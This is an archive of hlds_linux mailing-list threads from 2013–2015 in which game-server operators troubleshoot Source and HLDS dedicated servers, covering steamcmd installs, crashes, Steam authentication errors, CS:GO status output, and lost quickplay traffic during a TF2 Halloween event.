Re: [hlds_linux] [hlds] Source SDK Base 2013 Multiplayer beta release
Any news on this issue? From: John Schoenick <jo...@valvesoftware.com> To: Bjorn Wielens <uniac...@yahoo.ca>; Half-Life dedicated Win32 server mailing list <h...@list.valvesoftware.com>; "'hlcod...@list.valvesoftware.com'" <hlcod...@list.valvesoftware.com>; "hlds_linux@list.valvesoftware.com" <hlds_linux@list.valvesoftware.com> Sent: Monday, September 14, 2015 12:57 PM Subject: RE: [hlds] Source SDK Base 2013 Multiplayer beta release #yiv0090335185 P {margin-top:0;margin-bottom:0;}This is likely on our end, I'll take a look - John From: hlds-boun...@list.valvesoftware.com [hlds-boun...@list.valvesoftware.com] on behalf of Bjorn Wielens [uniac...@yahoo.ca] Sent: Sunday, September 13, 2015 10:47 AM To: Half-Life dedicated Win32 server mailing list; 'hlcod...@list.valvesoftware.com'; hlds_linux@list.valvesoftware.com Subject: Re: [hlds] Source SDK Base 2013 Multiplayer beta release Is anyone else getting "your server needs to be restarted to receive the latest update" with the beta_test branch? I've run multiple validations and completely deleted the install directory but am still getting this. As a result any mods hosted aren't showing in the master server list either. From: Eric Smith <er...@valvesoftware.com> To: "'hlcod...@list.valvesoftware.com'" <hlcod...@list.valvesoftware.com>; "h...@list.valvesoftware.com" <h...@list.valvesoftware.com>; "hlds_linux@list.valvesoftware.com" <hlds_linux@list.valvesoftware.com> Sent: Monday, September 7, 2015 10:39 PM Subject: [hlds] Source SDK Base 2013 Multiplayer beta release We've released a beta update for the Source SDK Base 2013 Multiplayer depot. The updated depots include several security fixes. The name for the beta branch is "beta_test". If you're running a game that depends on the Source SDK Base 2013 Multiplayer tool, please give the beta a try and report any problems. You can email me directly with any problems you find. * Clients can opt-in to the beta using the Betas tab of the Properties dialog for the Source SDK Base 2013 Multiplayer tool (select "beta_test" in the dropdown menu) * Dedicated servers can find information about how to use a beta here: https://developer.valvesoftware.com/wiki/SteamCMD We're also working on updates for Counter-Strike: Source, Day of Defeat: Source, and Half-Life 2: Deathmatch. We'll have more information about those soon. Thanks. -Eric ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Source SDK Base 2013 Multiplayer beta release
Is anyone else getting "your server needs to be restarted to receive the latest update" with the beta_test branch? I've run multiple validations and completely deleted the install directory but am still getting this. As a result any mods hosted aren't showing in the master server list either. From: Eric SmithTo: "'hlcod...@list.valvesoftware.com'" ; "h...@list.valvesoftware.com" ; "hlds_linux@list.valvesoftware.com" Sent: Monday, September 7, 2015 10:39 PM Subject: [hlds] Source SDK Base 2013 Multiplayer beta release We've released a beta update for the Source SDK Base 2013 Multiplayer depot. The updated depots include several security fixes. The name for the beta branch is "beta_test". If you're running a game that depends on the Source SDK Base 2013 Multiplayer tool, please give the beta a try and report any problems. You can email me directly with any problems you find. * Clients can opt-in to the beta using the Betas tab of the Properties dialog for the Source SDK Base 2013 Multiplayer tool (select "beta_test" in the dropdown menu) * Dedicated servers can find information about how to use a beta here: https://developer.valvesoftware.com/wiki/SteamCMD We're also working on updates for Counter-Strike: Source, Day of Defeat: Source, and Half-Life 2: Deathmatch. We'll have more information about those soon. Thanks. -Eric ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Ok, I am totally drawing a blank here, on a HLDS install for HL1
After a half dozen attempts, I got a complete file set. AFAIK it's been this way for a while, idk why Valve doesn't fix it. Well, the linux DS files for SDK 2006 have also vanished a while back, they know about this, and have no ETA on a fix - so don't hold your breath. At least you can still host hlds linux servers... whereas the above results in breaking just about every hl2 MP mod on linux. From: Ook ooksser...@zootal.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Friday, January 16, 2015 11:23 AM Subject: Re: [hlds_linux] Ok, I am totally drawing a blank here, on a HLDS install for HL1 Did you get this to work? The last time I did this I had to run it a half dozen times to get it to install all of the files. It seems as if it frequently fails to obtain the *complete* list of files it needs, and downloads an incomplete list. And if you --validate, it removes files that should be there because it thinks they should not be. After a half dozen attempts, I got a complete file set. AFAIK it's been this way for a while, idk why Valve doesn't fix it. On 01/13/2015 12:29 PM, Weasels Lair wrote: Ok, this is weird. When I run the app_update 90 validate the valve/gfx.wad file (along with tons of other files) is being deleted! I confirmed this by doing an installation, verifying that the file is there. I zip-up the entire installation folder for later reference (so I know that I am not going crazy). Then I run the app_update 90 validate, giving the message noted above (Success! App '90' fully installed), then I check the folders again, and valve/gfx.wad is gone! Which, explains why when I try to actually run the game it complains about valve/gfx.wad being missing. Needless to say, removing the validate option from my procedures for now. I guess validate means invalidate for now. On Sun, Jan 11, 2015 at 10:19 PM, Weasels Lair wea...@weaselslair.com wrote: Forgive my (renewed) ignorance, I have not had reason to install a new HLDS instance in like ... a year probably. Obviously, I must be missing something basic here. Maybe something changed that I am just not remembering. I am just trying to install HLDS to run an HL1 Deathmatch server - not a mod (TFC, etc.). The installation command I am using (which has worked before, but maybe a long time ago) is: ~/steamcmd/steamcmd.sh +login someloginname +force_install_dir /home/someusername/somefolder +app_update 90 validate +quit; It APPEARED to install (i.e. said App '90' fully installed.). However, when I try to actually RUN what's installed, I get this error: FATAL ERROR (shutting down): W_LoadWadFile: couldn't load gfx.wad If I run the installation again (to validate), I get this warning about other AppID's? Redirecting stderr to '/home/someusername/Steam/logs/stderr.txt' [ 0%] Checking for available updates... [] Verifying installation... Steam Console Client (c) Valve Corporation -- type 'quit' to exit -- Loading Steam API...OK. Logging in user 'someloginname' to Steam Public... Using cached credentials. . . Logged in OK Waiting for license info...OK /home/buildbot/buildslave/steam_rel_client_linux/build/src/clientdll/clientjobupdatedepots.cpp (112) : Assertion Failed: CAppUpdateDepotsJob::InitPrimaryApp: 90 missing required app 70 /home/buildbot/buildslave/steam_rel_client_linux/build/src/clientdll/clientjobupdatedepots.cpp (112) : Assertion Failed: CAppUpdateDepotsJob::InitPrimaryApp: 90 missing required app 10 Update state (0x5) validating, progress: 20.80 (8797216 / 42294745) Success! App '90' fully installed. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] FoF segfault on startup?
Anyone experiencing segfaults on startup with FoF? CentOS 7, happens on freshly validated install with no addons folder too. GDB offers no insight where the crash is happening, not even a backtrace. Debug.log is empty, servers were running fine until about 4AM this morning. Using breakpad minidump systemUsing breakpad crash handlerSetting breakpad minidump AppID = 265630Forcing breakpad minidump interfaces to loadMissing separate debuginfo for /home/contentServer/Masters/steamcmd/linux32/steamclient.soTry: yum --enablerepo='*debug*' install /usr/lib/debug/.build-id/cf/28cf8982a31985307cdf23a1339a8ab45d059b.debugLooking up breakpad interfaces from steamclientCalling BreakpadMiniDumpSystemInitMissing separate debuginfo for /home/contentServer/Masters/steamcmd/linux32/crashhandler.soTry: yum --enablerepo='*debug*' install /usr/lib/debug/.build-id/ce/f34da77a1300c26168c81ccc4b758065ea3274.debugLoaded 296 VPK file hashes from /home/gamecreate/orange-box-mods/fistful_of_frags/fof/fof.vpk for pure server operation.Loaded 296 VPK file hashes from /home/gamecreate/orange-box-mods/fistful_of_frags/fof/fof.vpk for pure server operation.Loaded 438 VPK file hashes from /home/gamecreate/orange-box-mods/fistful_of_frags/hl2/hl2_misc.vpk for pure server operation.Loaded 1222 VPK file hashes from /home/gamecreate/orange-box-mods/fistful_of_frags/hl2/hl2_textures.vpk for pure server operation.Loaded 5 VPK file hashes from /home/gamecreate/orange-box-mods/fistful_of_frags/platform/platform_misc.vpk for pure server operation. Program received signal SIGSEGV, Segmentation fault.0x in ?? () ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] The Ship hangs after map load
I worked with someone to try getting a server up and running a while back. The vphysics errors seem to be dependent on your filesystem; I recall they did something to re-mount the folder as a case-insensitive FS and that fixed the model error spam. No luck with the hangs though, we spent quite a bit of time on it without success. From: ics i...@ics-base.net To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Tuesday, July 22, 2014 2:41:27 PM Subject: Re: [hlds_linux] The Ship hangs after map load The company that made the game, Outerlight ltd doesn't exist anymore. The company that took over after years, Blazing Griffin supposedly had plans for it but as i recall, it was easier to remake the game than fix it or something like that. Even that post has been taken down so i cannot tell you more but have a look at http://steamcommunity.com/app/2400/discussions/0/792924411993377513 and follow up to their website, ask them? -ics epicoder kirjoitti: I'm trying to set up a dedicated server running The Ship on a Debian Jessie box. The server appears to start up normally until it loads a map, at which point it spews out a ridiculous amount of vphysics errors and then hangs. It does this with all maps, but the one I used in the log to follow is cotopaxi. http://pastebin.com/VXvM1XNL After it hangs, it ignores all console input (nothing is even echoed back to the terminal) and uses about 2.5% CPU constantly, according to top. The missing steam binary message is a separate issue which I haven't bothered to fix yet. I don't think it has any effect on this problem, but I'll fix it and see what happens. The server is a fairly modest computer running Debian Jessie 64-bit with 4 GB of RAM and a mid range core 2 duo @ 2.4 GHz. Not exactly CSGO 128 tick material, but it runs a 24-slot TF2 server just fine, so I don't think that hardware is the issue. Any help or ideas would be appreciated. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] Older Srcds games still using steamclient_i486.so/Steam validation Rejected
Does anyone have experience with this issue on older (unmaintained) srcds games? Specifically, I'm talking about a dedicated The Ship server; it will launch (after updating some binaries to reflect new valve IP addresses) but players cannot connect and are presented with Steam validation rejected. I've attempted the steam_appid.txt fix in both the same folder as srcds_run and the ship subfolder. No luck with either 2400 or 2403 as the entry. Server side there is an error message (can't remember the exact text, will obtain/reply with it later today) with code 25. All google can tell me is that such messages are common when a player with a less than legit copy of the game tries to connect... however I'm using the official steamcmd server download (2403) and proper client. Near as I can discern is that since the game was released a few things have changed in how steam handles user authentication. Sources tell me that files such as steam_api and steamclient.so are backwards compatible so I attempted to utilize them from a more recent srcds game... at which point the server quits on launch with failed to load authentication libary. Presumably this is the libsteamvalidateusertickets_i486.so which doesn't seem to have a modern counterpart (e.g steamclient_i486.so has libsteam.so, tier0_s_i486 has libtier0_s and so on). Any suggestions? Alternately, is anyone aware of a still-functional srcds-based game which uses the _i486 variants of these libraries I could potentially try to shoehorn in? I recall a similar problem happened with the Hidden:source mod when something updated in the SDK but not the mod itself. I know it should be possible to get working, as there are some servers out there with players, but it could be a fruitless endeavor as some of them seem to be tied to communities of dubious nature... ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Mandatory TF2 update released
Silly question perhaps, but you're not running steamcmd updates while the server is still running from the same set of files, are you? I've seen that cause some _very_ weird (similar) problems on Linux systems b/c of how files are handled - some files get overwritten, others that are still in use do not. If you have autoupdate on reboot enabled it would validate and fix those files. From: Ross Bemrose rbemr...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Friday, June 20, 2014 10:46:31 PM Subject: Re: [hlds] [hlds_linux] Mandatory TF2 update released Weird thing is, it started working fine after the server crashed and auto-restarted. On 6/20/2014 8:58 PM, Bjorn Wielens wrote: working fine on ours. From: Ross Bemrose rbemr...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing list (h...@list.valvesoftware.com) h...@list.valvesoftware.com Sent: Friday, June 20, 2014 8:54:56 PM Subject: Re: [hlds] [hlds_linux] Mandatory TF2 update released Kill icons and hitsounds don't appear to be working on the servers I'm on. Is anyone else seeing this? On 6/20/2014 7:28 PM, Eric Smith wrote: We've released a mandatory update for TF2. The notes for the update are below. The new version number is 2292213. -Eric - - Fixed a client crash related to the B.A.S.E. Jumper - Updated the prioritization method used when choosing which partner taunt to join such that players under the crosshair will have the highest priority. - Fixed The Classic scope not being drawn correctly in DirectX 8 - Fixed the Tide Turner and Chargin' Targe doing impact damage at any range - Fixed the Tide Turner refilling the Charge meter on any decapitation - Updated the B.A.S.E. Jumper to prevent buying unusable upgrades in Mann vs. Machine - Fixed Lugermorph animations ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] [hlds] Need more dedicated server for Fistful-of-Frags (FoF)!
Wouldn't HLDS_ANNOUNCE be better suited and/or specifically meant for that sort of thing? From: Ross Bemrose rbemr...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Tuesday, June 3, 2014 8:10:02 PM Subject: Re: [hlds] [hlds_linux] Need more dedicated server for Fistful-of-Frags (FoF)! So, are you saying third-party mods shouldn't be announcing their hlds/srcds updates on the hlds/srcds mailing lists? On 6/3/2014 7:04 PM, Weasels Lair wrote: I am not sure this list is the right place for 3rd-party games/mods to be announcing their updates? Kind of thought it was more for Valve-related and general HLDS/SRCDS. There is a published SteamAPI update URL for Fistful-of-Frags: http://api.steampowered.com/ISteamApps/UpToDateCheck/v1?appid=265630version=SERVER_CURRENT_VERSION_HEREformat=xml Also, it may be checked on the SteamDB page: http://steamdb.info/search/?a=appq=Fistful Or, of course you could sign-up for e-mail alerts on SteamPing: http://steamping.com/ On Tue, Jun 3, 2014 at 1:17 PM, big john brewskii...@gmail.com wrote: Can we get some sort of update notification on the mailing list? ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Could not establish connection to Steam servers. (Result = 15)
What is the correct appID to use with the registration API? I only receive empty responses when using 295230. From: Jesse Molina je...@opendreams.net To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com; Half-Life dedicated Win32 server mailing list h...@list.valvesoftware.com Sent: Wednesday, May 14, 2014 12:19:27 AM Subject: Re: [hlds_linux] Could not establish connection to Steam servers. (Result = 15) Nevermind. My sv_setsteamaccount token was invalid, though I don't yet know why. On 5/13/14, 17:36, Jesse Molina wrote: Hi all I set up a new Fistful of Frags server yesterday and it is generally working, but it isn't listing in the server directory, and I am getting the following error message after startup: Could not establish connection to Steam servers. (Result = 15) Could not establish connection to Steam servers. (Result = 15) Does anyone know what error code 15 is? My situation is slightly peculiar in that my host has multiple IPs and I load many srcds servers onto a single IP across many different ports. I also have a complicated firewall setup which could be the cause. However, I have multiple other TF2, CSGO, CSS, HL2DM and L4D2 servers on this host which don't have any similar problem. I need to do a tcpdump and see if FoF is trying to do something naughty, like binding to the wrong IP for some ephemeral connection. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
[hlds_linux] CSGO status output format change?
Has the output formatting of the 'status' command changed in the most recent build or two? I think it started happening with the second most recent patch. All of my status tools (Sourcebans, HLStatsX:CE, LGSL, and our management panel) have started reporting #/26 players (should be /24 since it has 2 hidden slots) with the only actual player entry being 'Max Players', suggesting that parsing of the response is failing. Running on CentOS6 64 bit. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] CSGO status output format change?
Thanks Asher, the A2S_Players made it easy to find. From https://developer.valvesoftware.com/wiki/Server_queries: CS:GO Server by default returns only max players and server uptime. You have to change server cvar host_players_show in server.cfg to value 2 if you want to revert to old format with players list. From: Asher Baker asher...@gmail.com To: Bjorn Wielens uniac...@yahoo.ca; Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Friday, March 14, 2014 8:23:45 PM Subject: Re: [hlds_linux] CSGO status output format change? Those tools use A2S_PLAYERS not the status command, which has indeed been gimped to only show a Max Players entry by default (our current leading theory is that someone delivered a case of free drugs to the CS:GO team, considering the rest of the query protocol changes that happened). There is a convar to fix it, but I don't know it off the top of my head, I'm sure someone will reply with it soon, or you can look at the recent update notes. ~ Their heads are green, and their hands are blue, And they went to sea in a Sieve. - Edward Lear On Fri, Mar 14, 2014 at 10:36 PM, Bjorn Wielens uniac...@yahoo.ca wrote: Has the output formatting of the 'status' command changed in the most recent build or two? I think it started happening with the second most recent patch. All of my status tools (Sourcebans, HLStatsX:CE, LGSL, and our management panel) have started reporting #/26 players (should be /24 since it has 2 hidden slots) with the only actual player entry being 'Max Players', suggesting that parsing of the response is failing. Running on CentOS6 64 bit. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Prevent game servers from redirecting players to
Have we already forgotten the quickplay shenanigans from valve during the most recent Halloween event? This is just more of the same. They've already made their stance abundantly clear to communities. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux
Re: [hlds_linux] Is sv_tags event247 broken after the update?
seven HUNDRED valve servers? I'm sorry, but I'm with those kinds of numbers I'm going to re-raise my earlier point about valve actively skimming the bulk of the quickplay traffic for themselves and leaving barely anything for communities. On Wed, 11/6/13, Kyle Sanderson kyle.l...@gmail.com wrote: Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Received: Wednesday, November 6, 2013, 7:48 PM Using my experimental horrible, horrible app. There are 2243 (responsive) servers at the moment running HellTower. From those 2243 servers, 1414 of them are community servers. From the remaining 829, 705 of those are Valve servers exclusively running Hell Tower. The remaining 124 Valve servers that are running the mixture of the four, which just so happen to be on HellTower at the moment. Hopefully this helps, Kyle. On Wed, Nov 6, 2013 at 2:14 PM, Rudy Bleeker rblee...@gmail.com wrote: Saturation of servers, in other words: too many servers, too few players too fill them up. On Wed, Nov 6, 2013 at 9:45 PM, louloubizou louloubi...@gmail.com wrote: Saturation? 2013/11/6 Mart-Jan Reeuwijk mreeu...@yahoo.com There where 20+ on each server, nobody got any for over an hour, so that emptied them. From: ics i...@ics-base.net To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Wednesday, 6 November 2013, 7:15 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? I think it requires 12 or so players. It was 8 at the time of the manor event but it was raised at some point due to abuse. -ics Kyle Sanderson kirjoitti: I believe you need at least 8 players for drops to work, or so was the case many years ago. I was on one server a couple nights ago, two drops happened one after another. Then there was nothing for about a half hour; I'm not sure what happened after that. Thanks, Kyle. On Tue, Nov 5, 2013 at 5:22 PM, Mart-Jan Reeuwijk mreeu...@yahoo.com wrote: hmm, saw more complaints of no gifts dropping anymore. Ppl asking if it was regged or not, or w/e the problem was on Valve end. Might be ppl don't go for event server if they don't get the personal gifts. From: Calvin Judy evo...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Tuesday, 5 November 2013, 23:04 Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? Saturation. - Original Message - From: louloubizou louloubi...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Tuesday, November 05, 2013 4:17 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? i get no more traffic since 2 days what is happening ? 2013/11/3 cladiron cladi...@gmail.com Calvin, did you read 2 post above yours ? Does the message below mean that i'm automatically removed even tho its setup to be in the match making ? *Sending CMsgGameServerMatchmakingStatus (state=ServerMatchmakingState_NOT_PARTICIPATING)* On Sat, Nov 2, 2013 at 12:52 AM, Calvin Judy evo...@gmail.com wrote: Influx of servers = decrease in players per server. The tags aren't broken. - Original Message - From: cladiron cladi...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list. valvesoftware.com Sent: Friday, November 01, 2013 10:52 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? We had a full server with matchmaking until that first update after the Halloween. It's been like this ever since, and haven't seen the first player. On Fri, Nov 1, 2013 at 10:44 PM, cladiron cladi...@gmail.com wrote: I think it's still broke. both tags. I have tried it both ways and get the same message that i'm not participating. I also notice that is says next map is dustbowl, even tho i edited the files for plr_hightower_event, and restarted the server. Sending CMsgGameServerMatchmakingStatus (state=ServerMatchmakingState_NOT_PARTICIPATING) L 11/01/2013 - 21:14:07: server_cvar: sm_nextmap cp_dustbowl Connection to Steam servers successful. Assigned anonymous gameserver Steam ID [A-1:776458241(3743)]. VAC secure mode is activated. Connection to game coordinator established. Current item
Re: [hlds_linux] Is sv_tags event247 broken after the update?
Echoing this problem as well, had 18 full event servers before the update, and the traffic died after the update (I even waited until the playercounts started to tank before issuing the update so as not to upset people already in-game before it went out). They are still at 0/24 while yesterday they were filling as fast as I could create them despite being ~6 hours earlier in the day. From: Calvin Judy evo...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Sent: Thursday, October 31, 2013 2:08:05 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? None of my servers are running any sort of bots, and they all dropped quickplay traffic completely last night. Can you double check to verify this update didn't create an additional issue, as it sure does look like something is wrong. ~6000 players in 24h to 0 in 12h, doesn't really make any sense. - Original Message - From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Cc: h...@list.valvesoftware.com Sent: Thursday, October 31, 2013 12:32 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? We recently fixed a bug that has been giving servers running bots an unfair and unintended quickplay scoring advantage. This could change traffic patterns. -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Marco Padovan Sent: Thursday, October 31, 2013 8:52 AM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? Same here... seeing the same issue on 12servers all where full yesterday :) On Thu, Oct 31, 2013 at 4:43 PM, Padraig Fahy padraig.f...@gmail.comwrote: Server was full last night before update..but no one has been on since the update. Thankfully I am not the only one with this issue! On Thu, Oct 31, 2013 at 3:41 PM, thesupremecommander thesupremec...@gmail.com wrote: Seeing problems on my end as well. A server holding at 24/24 constant before the update has seen all of its traffic vanish even with a few players to seed QuickPlay traffic. On Thu, Oct 31, 2013 at 11:36 AM, Calvin Judy evo...@gmail.com wrote: VAC secure mode is activated. Connection to game coordinator established. Current item schema is up-to-date with version 553324E3. Received auth challenge; signing into gameserver account... L 10/31/2013 - 06:01:08: Received auth challenge; signing into gameserver account... L 10/31/2013 - 06:01:08: Loading map plr_hightower_event Game server authentication: SUCCESS! Standing: Good. Trend: Upward Fast L 10/31/2013 - 06:01:08: Game server authentication: SUCCESS! Standing: Good. Trend: Upward Fast I'm not seeing any bad ratings on mine, but quickplay traffic just vanished. - Original Message - From: Lambda lambdace...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list. ** valvesoftware.com hlds_linux@list.valvesoftware.com Sent: Thursday, October 31, 2013 11:29 AM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? Same here, i checked the quickplay status and it went from Good to Bad out of a sudden, funny thing is that the client command to list the identities and the status says that they're all good but upon server launch it says that its Bad 2013/10/31 Calvin Judy evo...@gmail.com http://i.imgur.com/bejbG1m.png There has been a significant drop in quickplay traffic on our servers as well. - Original Message - From: Todd Pettit pettit.t...@gmail.com To: Half-Life dedicated Linux server mailing list hlds_linux@list. ** valvesoftware.com hlds_linux@list.**valvesoftware.com hlds_linux@list.valvesoftware.com Sent: Thursday, October 31, 2013 11:13 AM Subject: [hlds_linux] Is sv_tags event247 broken after the update? I noticed Halloween servers running plr_hightower_event are no longer receiving quickplay traffic after the last update. Is anyone else having the same issue? Normal servers seem unaffected. ___ To unsubscribe, edit your list preferences, or view the list archives, please visit: https://list.valvesoftware.com/cgi-bin/mailman/listinfo/*** *hlds_linuxhttps://list.**valvesoftware.com/cgi-bin/** mailman/listinfo/hlds_linux https://list.valvesoftware.com/cgi-bin/mailman/listinfo/hlds_linux ___ To unsubscribe, edit your list preferences, or view the list archives, please visit:
Re: [hlds_linux] Is sv_tags event247 broken after the update?
If the existence of the valve servers is the sole cause of the massive decrease in traffic to communities... It poses a rather large issue for those communities. It means that the sheer number of valve's quickplay-eligible servers is outshadowing _many_ communities (as judging by the messages in this thread), and the server market is being over-saturated to the point where communities basically have a hard time getting a foothold unless there is an established playerbase that is large enough to sustain the server with very little traffic influx. Ultimately, it means communities likely won't bother with event servers as a result of no traffic anyway... and this will rebound very rapidly in the opposite direction. I thought the entire goal of quickplay was to help get traffic _to_ communities and help players discover them (for those that keep their servers within a set of parameters)... not keep all the traffic for Valve servers. I realize this sounds pretty scathing , but it is something I think we (as community server operators) need to be seriously aware of - for the day that no more communities exist to keep the hat market up, will be the day TF2 truly dies :D From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.valvesoftware.com Cc: Half-Life dedicated Win32 server mailing list (h...@list.valvesoftware.com) h...@list.valvesoftware.com Sent: Thursday, October 31, 2013 2:30:23 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? There were no Valve event servers running until last night. -Original Message- From: hlds_linux-boun...@list.valvesoftware.com [mailto:hlds_linux-boun...@list.valvesoftware.com] On Behalf Of Daniel Barreiro Sent: Thursday, October 31, 2013 10:13 AM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? Never run any bots, all of my servers were full yesterday and are completely dead last night until now. Only change was the update. One of the servers wasn't registered until this event (converted it from a custom server temporarily just to get a 24/7 helltower server for the week), so it was a brand new ID. On Thu, Oct 31, 2013 at 1:08 PM, Calvin Judy evo...@gmail.com wrote: None of my servers are running any sort of bots, and they all dropped quickplay traffic completely last night. Can you double check to verify this update didn't create an additional issue, as it sure does look like something is wrong. ~6000 players in 24h to 0 in 12h, doesn't really make any sense. - Original Message - From: Fletcher Dunn fletch...@valvesoftware.com To: Half-Life dedicated Linux server mailing list hlds_linux@list.** valvesoftware.com hlds_linux@list.valvesoftware.com Cc: h...@list.valvesoftware.com Sent: Thursday, October 31, 2013 12:32 PM Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? We recently fixed a bug that has been giving servers running bots an unfair and unintended quickplay scoring advantage. This could change traffic patterns. -Original Message- From: hlds_linux-bounces@list.**valvesoftware.comhlds_linux-boun...@list.valvesoftware.com[mailto: hlds_linux-bounces@**list.valvesoftware.comhlds_linux-bounces@list.v alvesoftware.com] On Behalf Of Marco Padovan Sent: Thursday, October 31, 2013 8:52 AM To: Half-Life dedicated Linux server mailing list Subject: Re: [hlds_linux] Is sv_tags event247 broken after the update? Same here... seeing the same issue on 12servers all where full yesterday :) On Thu, Oct 31, 2013 at 4:43 PM, Padraig Fahy padraig.f...@gmail.com wrote: Server was full last night before update..but no one has been on since the update. Thankfully I am not the only one with this issue! On Thu, Oct 31, 2013 at 3:41 PM, thesupremecommander thesupremec...@gmail.com wrote: Seeing problems on my end as well. A server holding at 24/24 constant before the update has seen all of its traffic vanish even with a few players to seed QuickPlay traffic. On Thu, Oct 31, 2013 at 11:36 AM, Calvin Judy evo...@gmail.com wrote: VAC secure mode is activated. Connection to game coordinator established. Current item schema is up-to-date with version 553324E3. Received auth challenge; signing into gameserver account... L 10/31/2013 - 06:01:08: Received auth challenge; signing into gameserver account... L 10/31/2013 - 06:01:08: Loading map plr_hightower_event Game server authentication: SUCCESS! Standing: Good. Trend: Upward Fast L 10/31/2013 - 06:01:08: Game server authentication: SUCCESS! Standing: Good. Trend: Upward Fast I'm not seeing any bad ratings on mine, but quickplay traffic just vanished. - Original Message - From: Lambda lambdace...@gmail.com To: Half-Life
Re: [hlds_linux] Is sv_tags event247 broken after the update?
